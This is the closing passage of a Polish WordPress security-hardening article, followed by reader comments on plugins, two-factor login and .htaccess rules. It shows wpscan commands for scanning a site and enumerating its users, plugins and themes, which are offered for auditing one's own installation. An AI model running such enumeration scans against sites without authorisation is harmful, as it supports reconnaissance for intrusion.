Wprowadzone przez nas modyfikacje warto zweryfikować. Można to zrobić m.in. za pomocą skanera podatności dedykowanego dla WordPress – wpscan. Skrypt ten domyślnie można znaleźć w dystrybucji Kali Linux lub pobrać z repozytorium GitHub. Jeżeli mieliśmy już okazję wcześniej zainstalować lub pobrać wpscan, wtedy przed wykonaniem kolejnego skanu warto uruchomić skrypt z przełącznikiem update (Listing 24), który wyzwala akcję aktualizacji bazy.
wpscan --update
Listing 24. Aktualizacja bazy sygnatur wpscan
Podstawowy skan wykonuje się, wskazując adres testowanego serwisu w parametrze url (Listing 25).
wpscan --url <adres URL testowanego serwisu>
Listing 25. Podstawowy skan z wykorzystaniem wpscan
Jeżeli podstawowa weryfikacja przebiegnie pomyślnie, warto sprawdzić, jakie modyfikacje domyślnego skanu oferuje wpscan, i go rozszerzyć (Listing 26).
wpscan --enumerate tt --enumerate u --enumerate p --enumerate t –url <adres URL>
Listing 26. Poinstruowanie wpscan by przeprowadził m.in. enumerację użytkowników oraz pełną weryfikację zainstalowanych szablonów i wtyczek
Podsumowanie
WordPress udostępnia rozbudowane możliwości, które mogą zostać dodatkowo poszerzone z wykorzystaniem bogatej listy wtyczek oraz szablonów. Warto jednak nie dać się zachłysnąć tym urodzajem i poświęcić chwilę na zweryfikowanie, czy udostępniana przez nas instalacja WordPress jest bezpieczna oraz czy nie pozwala ciekawskim na uzyskanie zbyt dużej ilości informacji. Jeżeli nie mamy czasu, by weryfikować wykorzystywane przez nas komponenty, powinniśmy przynajmniej zadbać o to, by były one aktualne lub uczynić ten proces automatycznym.
— Marcin Piosek, analityk bezpieczeństwa IT, realizuje audyty bezpieczeństwa oraz testy penetracyjne w firmie Securitum.
Wiele elementów używam od dawna, ale ta wtyczka do autoryzacji całkiem ciekawa.
No zdrowy artykuł… Jutro do kawy będzie czytane jeszcze raz :)
Dziękuję za poradnik, bardzo fajnie napisany :)
A jak do takiego zabezpieczenia „ręcznego” mają się wtyczki zabezpieczające?
Ja na swoim blogu stosuję SHIELD’a. Czy wystarczy tylko taka wtyczka? Czy dobrze byłoby jeszcze coś „dobezpieczyć” :)
W akapicie „Ochrona procesu uwierzytelnienia” warto by było dopisać również o wtyczkach maskujących wp-login.php, bo to też jest teraz bardzo często potencjalnym źródłem ataków DDOS na WP.
np.
https://wordpress.org/plugins/wp-simple-firewall/
A nie lepiej zrobić, tak jak autor pisze ? czyli dać dostęp do panelu jedynie wybranym adresom IP ? Nie trzeba wtedy instalować wtyczek.
Zabezpieczenie na tym samym poziomie co WP jest bez sensu. Lepiej dać blokadę z koniecznością przesłania cookie z innego adresu żeby móc zobaczyć /wp-login.php /wp-admin, lub zwyczajnie htpasswd.
Blokowanie wp-admin nie ma najmniejszego sensu – żeby tam się dostać trzeba się wcześniej zalogować, więc wp-login.php wystarczy. Choć to też połowiczne rozwiązanie – zalogować można się też z wykorzystanie XMLRPC, o którym tutaj nie wspomniano ani słowa.
Można dostęp administracyjny zabezpieczyć Yubikey, wtedy odpada zabawa ze zmianą login i hasło nie musi być bardzo skomplikowane.
Można dodać kilka kluczy Yubikey, w razie gdyby jeden się „zużył” :-)
znacie jakaś alternatywę dla Yubikey’a godna uwagi?
Świetnie – prowadzę kilka blogów na wordpressie, więc artykuł idzie do ulubionych i będę działał w wolnym czasie. Do tej pory na szczęście większych przypałów nie było, choć na przestarzałym blogu klienta zdarzyły się kiedyś „spontaniczne” publikacje niewiadomego autora. Co gorsza – trzech deweloperów nie potrafiło się tego pozbyć… Do dziś nie wiem, czy deweloperzy byli słabi czy wirus tak dobry.
Na bazie artykułu, na potrzeby swojego serwera zawierającego kilkanaście serwisów na WordPressie, napisałem skrypt wprowadzający ww. zmiany. Jeszcze tylko odpowiedni wpis do crona i żadna aktualizacja WP mi nie straszna.
Jak ktoś chce, można korzystać.
https://gist.github.com/ksrhaziel/3eb598e22ee23bed1d3d18bb1b54054e
W zależności od wielkości filesystemu, skrypt może potrwać kilka minut.
Nie odpowiadamy za to co skrypt robi :P więc odpalajcie na własną odpowiedzialnosć :P
Można przeczytać co robi… Zakładam, że, ktoś kto potrafi odpalić skrypt na linuxie, potrafi również czytać.
Spokojnie, wierzymy w dobre intencje i zakładam że skrypt jest super przydatny :-) I dzięki za robotę. Tak tylko z wrodzonej podejrzliwości sobie piszemy :)
Hej, zaciekawiony sprawą Google Authenticator chciałem sprawdzić go na swoich stronach. Niestety spotkałem się z opiniami, że bardzo łatwo można obejść ten sposób uwierzytelniania na WordPressie. Poza tym wtyczka od ponad roku nie była aktualizowana. Mam mieszane uczucia i chętnie przeczytałbym opinie innych osób, które korzystają z tego lub podobnego sposobu na dwuskładnikowe uwierzytelnianie. Ktoś coś?
Warto jeszcze uruchomić SELinuxa w trybie enabled na serwerze. Ciężko będzie zhackować nawet nie aktualizowanego wordpressa.
Trzeba będzie zabezpieczyć nasz sklep SEO ;)
Tego z enumeracją użytkowników nie znałem ;)
Odnośnie do sekcji dotyczącej zmiany ustawień domyślnych, to jeśli chcemy by użytkownicy komentowali nasze artykuły, zawsze jesteśmy narażeni na ataki wysycające powierzchnie dyskową przeznaczoną na bazę danych?
Bardzo ciekawy art., przyda się tym bardziej, ponieważ ostatnio miałem włamanie na jedną stronę opartą na WP. Pozdrawiam
standardowe ustawienia WordPressa są nie wystarczające, Authenticator wydaje mi sie przesadą, według mnie wystarczy plugin anty brute force i blokada konta po złym wpisaniu konta, zapraszam na mojego bloga o WordPressie irebu.pl/kategoria/blog
Witam
Przeczytałem artykuł o tym jak zabezpieczyć wordpress. Ciekawe rzeczy, ale…
1. Co jest lepsze
A)
SetEnvIfNoCase user-Agent ^TUTAJMOJETAJNEHASLO [NC] my_bot
Order Deny,Allow
Deny from all
Allow from env=my_bot
B) uwierzytelnienia dwuskładnikowego Google Authenticator
Jak wiemy boty będą próbować usilnie wprowadzić dane i zapychają serwer więc w takich przypadkach wersja A jest lepsza ? Czy może się mylę bo boty widząc uwierzytelnianie dwuskładnikowe odpuszczają ?
Druga sprawa, ze wtyczka nieaktualizowana od dawna… i czytałem że jest sposób na obejście tego dodatkowego kodu google.
Mam pytanie do poniższego fragmentu. Czy ktoś jest w stanie mi wyjaśnić dlaczego wg autora LE nie nadaje się do projektów komercyjnych? Z czego to wynika z licencji korzystania, z poziomu bezpieczeństwa samego certyfikatu, obu?
Będę bardzo wdzięczny za odpowiedź.
„Jeżeli nasz projekt nie zalicza się do kategorii komercyjnych, możemy rozważyć wykorzystanie projektu Let’s Encrypt.”
Pisząc tekst byłem przekonany, że Let’s Encrypt nie może być wykorzystany ze względów licencyjnych w projektach komercyjnych, co *nie* jest zgodne z prawdą. Nigdzie nie pisałem jednak, że LE nie nadaje się do takich projektów.
Zacytowany fragment został wykreślony.
Super wpis i porady. Mimo, że już trochę czasu minęło ;)
Ja mam inne pytanie, piszesz o koniecznosci usunieca komentarzy z tematu ? . Jak to zrobić ?
Nigdy nie miałem komentarzy włączonych, ale faktycznie zawsze zastanawiało mnie skąd u diabła pojawiły się komentarze do zatwierdzenia ?
I jakim narzędziem sprawdzasz / wysyłasz zapytania do serwera aby sprawdzić możliwość dodawania komentarzy ?
Pozdrawiam
Cześć,
czy jest dostępny podobny wpis dla nowej wersji WordPress 5.8.x bądź czy ten będzie aktualizowany?
Pozdrawiam,
Piotr
Ja tu coś napisałem (Stan na 2021 rok) od siebie o WordPressie. Może się przyda.
https://kerszl.github.io/hacking/wordpress-i-jego-podatnosci/
dzieki za poradnik
Z Europy do Chin jest daleko, ale charyzmatyczna para nie zastanawia się długo. W końcu nigdy jeszcze nie byli w Azji, a mogą tam na nich czekać ekscytujące przygody i smaczne jedzenie. Zaopatrzeni w magiczny napój warzony przez Panoramiksa wyruszają w drogę https://kino-cda.pl/film/asteriks-i-obeliks-imperium-smoka/
Ciekawy artykuł, dzięki.
Przydało się…Dzięki!
Stary wpis, ale mimo upływu lat część porad ma zastosowanie do dziś.